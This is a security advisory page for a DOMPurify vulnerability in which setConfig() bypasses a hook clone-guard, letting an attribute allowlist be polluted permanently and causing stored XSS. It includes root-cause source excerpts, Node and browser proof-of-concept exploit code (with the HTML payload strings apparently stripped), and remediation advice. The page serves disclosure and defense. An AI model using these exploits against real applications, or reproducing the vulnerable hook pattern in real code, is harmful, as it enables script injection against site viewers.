CVE-2026-65898: DOMPurify: Permanent `ALLOWED_ATTR` pollution via `setConfig()` bypassing the hook clone-guard (incomplete fix of the 3.4.7 hook-pollution patch)
Summary DOMPurify 3.4.7 shipped a security fix ("permanent hook pollution") that makes a registered uponSanitizeAttribute hook's mutation of data.allowedAttributes non-persistent — so allowing an attribute for one element does not leak into later sanitize() calls. The fix clones ALLOWEDATTR inside parseConfig.
Published Jun 18, 2026 · Updated Jul 23, 2026
Affected packages
dompurify
- Ecosystem
- npm
- Affected
- <= 3.4.10
- Fixed in
- 3.4.11
- Check
npm ls dompurify
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
DOMPurify 3.4.7 shipped a security fix ("permanent hook pollution") that makes a registered uponSanitizeAttribute hook's mutation of data.allowedAttributes non-persistent — so allowing an attribute for one element does not leak into later sanitize() calls. The fix clones ALLOWED_ATTR inside _parseConfig.
That guard is silently bypassed whenever the application uses the persistent-config API `DOMPurify.setConfig()`. setConfig() sets the module flag SET_CONFIG = true, which causes sanitize() to skip `_parseConfig` entirely — and the clone-guard lives inside _parseConfig. The hook is then handed the live, shared `ALLOWED_ATTR` object; any data.allowedAttributes[name] = true it writes mutates that shared object permanently, for the lifetime of the DOMPurify instance, across every subsequent call, and across all elements.
If an application uses setConfig() together with an uponSanitizeAttribute hook that conditionally allows a dangerous attribute (onerror, onclick, onmouseover, srcdoc, formaction, …) for "trusted" elements, then one trusted render permanently allows that attribute on untrusted, attacker-controlled content — yielding stored XSS in viewers' browsers. DOMPurify applies no separate /^on/ event-handler blocklist: attribute stripping is governed entirely by the allowlist, so a polluted allowlist is the only gate, and survival in the output is final.
---
Affected configuration (preconditions)
The vulnerability is triggered when an application does both:
- Calls
DOMPurify.setConfig(...)once (the recommended pattern for a fixed, persistent policy), and - Registers an
uponSanitizeAttributehook that writesdata.allowedAttributes[name] = trueto conditionally allow an attribute (e.g. only for elements bearing a trust marker).
This hook pattern is demonstrated in DOMPurify's own test suite, and the per-call variant of exactly this leak is what 3.4.7 was released to fix.
---
Root cause (source: src/purify.ts, v3.4.10)
The 3.4.7 clone-guard — only inside _parseConfig:
// src/purify.ts _parseConfig() (lines ~950-968)
// "if a hook is registered AND the set still points at the default constant, clone it.
// The hook then mutates the clone ... and the next default-cfg call rebinds to the untouched original."
if ( ... && hooks.uponSanitizeAttribute.length > 0) {
ALLOWED_TAGS = clone(ALLOWED_TAGS); // line 961
}
if ( ... hooks.uponSanitizeAttribute.length > 0 ... ) {
ALLOWED_ATTR = clone(ALLOWED_ATTR); // line 968
}sanitize() skips _parseConfig on the persistent-config path:
// src/purify.ts DOMPurify.sanitize() (line 2369)
if (!SET_CONFIG) {
_parseConfig(cfg); // <-- clone-guard lives in here; SKIPPED when SET_CONFIG is true
}setConfig() sets the flag that disables the guard:
// src/purify.ts (lines 2596-2598)
DOMPurify.setConfig = function (cfg = {}) {
_parseConfig(cfg);
SET_CONFIG = true; // every later sanitize() now skips _parseConfig
};The hook is handed the live allowlist binding, and there is no secondary event-handler defense:
// src/purify.ts (line 2088) — hook event exposes the shared object by reference
allowedAttributes: ALLOWED_ATTR,
// (line 2108) hooks.uponSanitizeAttribute executed; a write to data.allowedAttributes mutates ALLOWED_ATTR itself
// _isValidAttribute gates purely on ALLOWED_ATTR[lcName]; DOMPurify uses NO /^on/ blocklist by design.Net: after setConfig(), the clone-guard never runs, so the hook's allowedAttributes mutation is a permanent write to the instance's shared ALLOWED_ATTR.
---
Proof of Concept
Environment: npm i [email protected] jsdom (Node; identical mechanism to isomorphic-dompurify, and to a browser instance).
PoC 1 — the leak (trusted render permanently allows onerror on attacker content)
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const DP = createDOMPurify(new JSDOM('').window);
// App init: persistent policy + a hook that allows onerror ONLY for trusted, pre-vetted elements
DP.setConfig({ ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });
DP.addHook('uponSanitizeAttribute', (node, data) => {
if (node.getAttribute && node.getAttribute('data-trusted') === '1') {
data.allowedAttributes['onerror'] = true; // intended: trusted-only
}
});
// 1) A trusted widget is rendered once
DP.sanitize('');
// 2) Later, ATTACKER-controlled content (NO data-trusted) is sanitized on the same instance
console.log(DP.sanitize(''));
// OUTPUT: <-- onerror SURVIVES -> XSSPoC 2 — it is a DOMPurify state-leak, not "the app allowed on*" (attribute-agnostic)
// Same setConfig + hook shape, but the hook allows a BENIGN attribute (title).
// The leak is identical -> the defect is a shared-state mutation in DOMPurify,
// independent of which attribute the hook touches.
DP.setConfig({ ALLOWED_TAGS: ['span'], ALLOWED_ATTR: [] });
DP.addHook('uponSanitizeAttribute', (n, d) => {
if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['title'] = true;
});
DP.sanitize('x');
console.log(DP.sanitize('x')); // -> x (leaked)PoC 3 — control: WITHOUT setConfig() the 3.4.7 guard holds
const DP2 = createDOMPurify(new JSDOM('').window);
DP2.addHook('uponSanitizeAttribute', (n, d) => {
if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['onerror'] = true;
});
DP2.sanitize('', { ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });
console.log(DP2.sanitize('', { ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] }));
// OUTPUT: <-- onerror correctly STRIPPED. setConfig() is the trigger.Persistence (observed)
- The leak persists after `removeAllHooks()` — removing the hook does not clean the polluted allowlist.
- It is global / cross-element — a polluted
onmouseoversurvives on `and, not only the originally-blessed`. - It persists for the instance lifetime (survived 5/5 subsequent default calls).
clearConfig()does restore a clean state (this is the bound of the impact).
---
Impact
Stored XSS. In a long-lived (e.g. server-side / isomorphic-dompurify) DOMPurify instance, a single trusted render flips a shared allowlist bit; every subsequent untrusted submission then inherits a live event-handler attribute and executes script in viewers' browsers. Because DOMPurify enforces no /^on/ blocklist, a surviving on* attribute is final — no secondary control prevents execution. onerror on a broken-src `` fires with no user interaction (browser-confirmed; see Validation).
Per-call `FORBID_ATTR` does not mitigate. A defensive sanitize(input, { FORBID_ATTR: ['onerror'] }) is also ignored once setConfig() has been called: the per-call config is parsed by _parseConfig, which sanitize() skips entirely under SET_CONFIG. So an application cannot blunt the leak with a per-call denylist — the poisoned ALLOWED_ATTR is the sole gate.
---
Realistic attack scenario
A platform mixes admin-authored interactive widgets with user-generated content through one sanitizer instance:
- The app installs a persistent baseline policy via
setConfig({ ALLOWED_TAGS: [...], ALLOWED_ATTR: [...] }). - It registers an
uponSanitizeAttributehook that enables an event handler only for admin-vetted elements markeddata-trusted="1", intending safe rich interactivity — a pattern the 3.4.7 fix was specifically meant to make safe. - An admin renders one trusted widget. From that point on, every user-submitted comment/post containing `` passes sanitization and executes for all viewers.
---
Remediation
Extend the existing clone-guard to the persistent-config (SET_CONFIG) fast-path: when sanitize() skips _parseConfig but an uponSanitizeAttribute hook is registered, clone the allowlists before the walk so hook mutations cannot persist — the exact analogue of the guard already present in _parseConfig.
// In DOMPurify.sanitize(), replacing the bare `if (!SET_CONFIG) { _parseConfig(cfg); }`:
if (!SET_CONFIG) {
_parseConfig(cfg);
} else if (hooks.uponSanitizeAttribute.length > 0) {
// Persistent-config path: _parseConfig (and its clone-guard) is skipped, so a hook would
// otherwise mutate the shared ALLOWED_ATTR/ALLOWED_TAGS permanently. Clone per call.
if (ALLOWED_ATTR === DEFAULT_ALLOWED_ATTR || ALLOWED_ATTR === currentSetConfigAttr) {
ALLOWED_ATTR = clone(ALLOWED_ATTR);
}
if (ALLOWED_TAGS === DEFAULT_ALLOWED_TAGS || ALLOWED_TAGS === currentSetConfigTags) {
ALLOWED_TAGS = clone(ALLOWED_TAGS);
}
}(Equivalently: in the hook-event builder at line ~2088, hand the hook a shallow clone of ALLOWED_ATTR/ALLOWED_TAGS whenever SET_CONFIG is true, mirroring the 3.4.7 intent.)
A regression test should reproduce PoC 1 and assert the attacker call returns `. Note the existing 3.4.7 regression test ("unguarded attribute hook does not poison subsequent default-config calls") never exercises setConfig() — adding a setConfig` variant closes the gap.
Application-side mitigation until patched: prefer data.keepAttr = true (per-element, non-persistent) over data.allowedAttributes[name] = true inside hooks; or call DOMPurify.clearConfig() between trust domains; or use separate DOMPurify instances for trusted vs. untrusted content.
---
Limitations
- Requires the two-part precondition above (persistent
setConfig()and a hook writingdata.allowedAttributes[...]). Not a default-config bypass. - Impact is bounded by
clearConfig(), which restores a clean state. The earlier-considered "survivesclearConfig()" claim did not reproduce and is withdrawn. - A position could be adopted to "use
data.keepAttr=true, notallowedAttributes[]." However, the 3.4.7 security fix exists precisely to defend theallowedAttributes[]hook pattern in the per-call path; leaving thesetConfigpath unguarded is an incomplete fix of an acknowledged security issue.
Validation
- Integrity: the tested
[email protected]dist/purify.cjs.js(md5ab0e7b1cde1cbcace0f62b6aac284143) and browserdist/purify.min.js(md5b0985f80fa48e6e7b263f8f6a64b779e) are byte-identical to a freshlynpm pack-ed release — the repro is on the real shipped code. Mechanism identical on 3.4.0, 3.4.9 and 3.4.10. - Node (mechanism): PoCs 1–3 reproduce deterministically;
DOMPurify.isValidAttribute('img','onerror','x')flipsfalse → trueafter a single trusted render undersetConfig(), proving the shared attribute gate is poisoned. Leak survivesremoveAllHooks(), is cross-element, persists for the instance lifetime, and is reset only byclearConfig(). - Real browser (impact): in Chrome with DOMPurify 3.4.10, assigning the attacker output to
innerHTMLexecutes the survivingonerror(sentinelwindow.__fired = ["ATTACKER-onerror"];onerrorDOM property is afunction), with no user interaction. The no-setConfigA/B control does not fire — execution is attributable to thesetConfigleak, not a harness artifact.
---
Appendix A — Node PoC (complete, runnable)
// poc.js — npm i [email protected] jsdom && node poc.js
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const freshDP = () => createDOMPurify(new JSDOM('').window);
const log = (s) => console.log(s);
log('DOMPurify ' + freshDP().version + '\n');
// PoC 1 — the leak: trusted render permanently allows onerror on attacker content
{
const DP = freshDP();
DP.setConfig({ ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });
DP.addHook('uponSanitizeAttribute', (node, data) => {
if (node.getAttribute && node.getAttribute('data-trusted') === '1') {
data.allowedAttributes['onerror'] = true; // intended: trusted-only
}
});
DP.sanitize(''); // trusted render
const attacker = DP.sanitize(''); // attacker, no data-trusted
log('[PoC1] attacker output : ' + attacker);
log('[PoC1] onerror survived : ' + /onerror/.test(attacker));
log('[PoC1] isValidAttribute(img,onerror) -> ' + DP.isValidAttribute('img','onerror','x') + ' (shared gate poisoned)\n');
}
// PoC 2 — attribute-agnostic: a DOMPurify state-leak, not "the app allowed on*"
{
const DP = freshDP();
DP.setConfig({ ALLOWED_TAGS: ['span'], ALLOWED_ATTR: [] });
DP.addHook('uponSanitizeAttribute', (n, d) => {
if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['title'] = true;
});
DP.sanitize('x');
log('[PoC2] benign title leaks: ' + DP.sanitize('x') + '\n');
}
// PoC 3 — control: WITHOUT setConfig the 3.4.7 guard holds
{
const DP = freshDP();
DP.addHook('uponSanitizeAttribute', (n, d) => {
if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['onerror'] = true;
});
DP.sanitize('', { ALLOWED_TAGS:['img'], ALLOWED_ATTR:['src'] });
const ctrl = DP.sanitize('', { ALLOWED_TAGS:['img'], ALLOWED_ATTR:['src'] });
log('[PoC3] control output : ' + ctrl + ' stripped: ' + !/onerror/.test(ctrl) + '\n');
}
// Persistence: survives removeAllHooks(); reset only by clearConfig()
{
const DP = freshDP();
DP.setConfig({ ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });
DP.addHook('uponSanitizeAttribute', (n, d) => {
if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['onerror'] = true;
});
DP.sanitize('');
DP.removeAllHooks();
let leaks = 0;
for (let i = 0; i < 5; i++) if (/onerror/.test(DP.sanitize(''))) leaks++;
log('[persist] survived ' + leaks + '/5 calls after removeAllHooks()');
DP.clearConfig();
log('[persist] after clearConfig(): ' + DP.sanitize('') + ' (reset)');
}Expected output:
[PoC1] attacker output :
[PoC1] onerror survived : true
[PoC1] isValidAttribute(img,onerror) -> true (shared gate poisoned)
[PoC2] benign title leaks: x
[PoC3] control output : stripped: true
[persist] survived 5/5 calls after removeAllHooks()
[persist] after clearConfig(): (reset)Appendix B — Browser PoC (complete; confirms execution)
<!doctype html><html><head><meta charset="utf-8">
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/purify.min.js"></script>
</head><body><pre id="out"></pre>
<script>
const log = (s) => document.getElementById('out').textContent += s + '\n';
window.__fired = [];
window.alert = (x) => window.__fired.push('alert:' + x); // sentinel: capture exec, no modal
log('DOMPurify ' + DOMPurify.version);
// App init: persistent policy + a hook allowing onerror ONLY for trusted elements
DOMPurify.setConfig({ ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });
DOMPurify.addHook('uponSanitizeAttribute', (node, data) => {
if (node.getAttribute && node.getAttribute('data-trusted') === '1') data.allowedAttributes['onerror'] = true;
});
DOMPurify.sanitize(''); // one trusted render
const out = DOMPurify.sanitize(''); // attacker
log('attacker sanitized output: ' + out);
const host = document.createElement('div');
host.innerHTML = out; // surviving onerror arms on the broken-src img
document.body.appendChild(host);
setTimeout(() => {
log('handlers fired: ' + JSON.stringify(window.__fired));
log(window.__fired.length ? 'RESULT: XSS EXECUTED' : 'RESULT: no execution');
}, 500);
</script></body></html>Observed: handlers fired: ["alert:XSS:<domain>"] → RESULT: XSS EXECUTED (no user interaction). The same harness without the setConfig() line strips onerror and does not fire.
Credited to trace37labs, EchoTydes.
References
- https://github.com/cure53/DOMPurify/security/advisories/GHSA-cmwh-pvxp-8882
- https://github.com/cure53/DOMPurify/pull/1482
- https://github.com/cure53/DOMPurify/commit/011bc3b2fcc4be17aa76f9030e8668207717acb9
- https://github.com/cure53/DOMPurify/releases/tag/3.4.11
- https://github.com/advisories/GHSA-cmwh-pvxp-8882
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More npm vulnerabilities
All npm entriesGHSA-c6gr-qvv4-5v3f
DOMPurify: SMIL attributeName=href guard is skipped when PARSER_MEDIA_TYPE is application/xhtml+xml
lowOct 22, 2026GHSA-cg2g-xh64-v4q7
DOMPurify SAFE_FOR_TEMPLATES bypass: split template expressions survive in attached shadow root content on DOM output modes
low2.3Oct 22, 2026GHSA-mrv2-3pqr-j5jr
DOMPurify IN_PLACE: hook that removes a parent or sibling leaves the detached subtree's event handlers armed (incomplete fix for GHSA-p98j-92pf-mc4p)
low2.3Oct 22, 2026GHSA-6688-9rhm-gjv2
DOMPurify: IN_PLACE returns a force-removed rawtext root whose text carries attacker markup — pure HTML reparse executes
lowOct 5, 2026GHSA-p98j-92pf-mc4p
DOMPurify: IN_PLACE: node-removing afterSanitize hook leaves detached subtree event handlers armed, causing DOM XSS
low2.3Sep 30, 2026GHSA-55q2-fjhq-7xh7
DOMPurify: IN_PLACE hook removal leaves a detached subtree executable, causing XSS
medium5.1Aug 7, 2026
